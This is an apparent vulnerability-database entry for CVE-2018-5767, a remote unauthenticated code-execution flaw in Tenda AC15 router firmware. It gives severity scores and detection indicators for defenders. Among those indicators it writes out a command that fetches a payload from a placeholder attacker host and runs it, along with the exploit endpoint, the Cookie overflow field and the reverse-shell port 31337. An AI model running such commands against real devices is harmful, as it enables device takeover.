cbcvebase.
CVE-2018-5767
published 2018-02-15

CVE-2018-5767: An issue was discovered on Tenda AC15 V15.03.1.16_multi devices. A remote, unauthenticated attacker can gain remote code execution on the device with a crafted…

PriorityP180critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
41.40%
98.5th percentile
An issue was discovered on Tenda AC15 V15.03.1.16_multi devices. A remote, unauthenticated attacker can gain remote code execution on the device with a crafted password parameter for the COOKIE header.

Affected

1 ranges
VendorProductVersion rangeFixed in
tendacnac15_firmware——

Detection & IOCsextracted from sources · hover to see the quote

urlhttp://<host>:<port>/goform/exeCommand↗
cookiepassword=<overflow payload>↗
path/tmp/a↗
commandwget http://<attacker_ip>:<port>/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;↗
port31337↗
port8888↗
  • →Post-exploitation payload is fetched via wget to /tmp/a and executed; monitor for outbound wget connections from the router and execution of binaries from /tmp/. ↗
  • →Reverse shell connects back to attacker on TCP port 31337; monitor for unexpected outbound TCP connections from Tenda AC15 devices to port 31337. ↗
  • →The exploit payload is appended with the string '.gif' as a suffix after the ROP chain and command; look for Cookie: password= values ending in '.gif' with preceding binary/non-printable content. ↗
  • ·Vulnerability is unauthenticated and remotely exploitable; no credentials are required to trigger the overflow via the Cookie header. ↗
  • ·Affected firmware version is V15.03.1.16_multi; detections should be scoped to this specific Tenda AC15 firmware version. ↗

CVSS provenance

nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.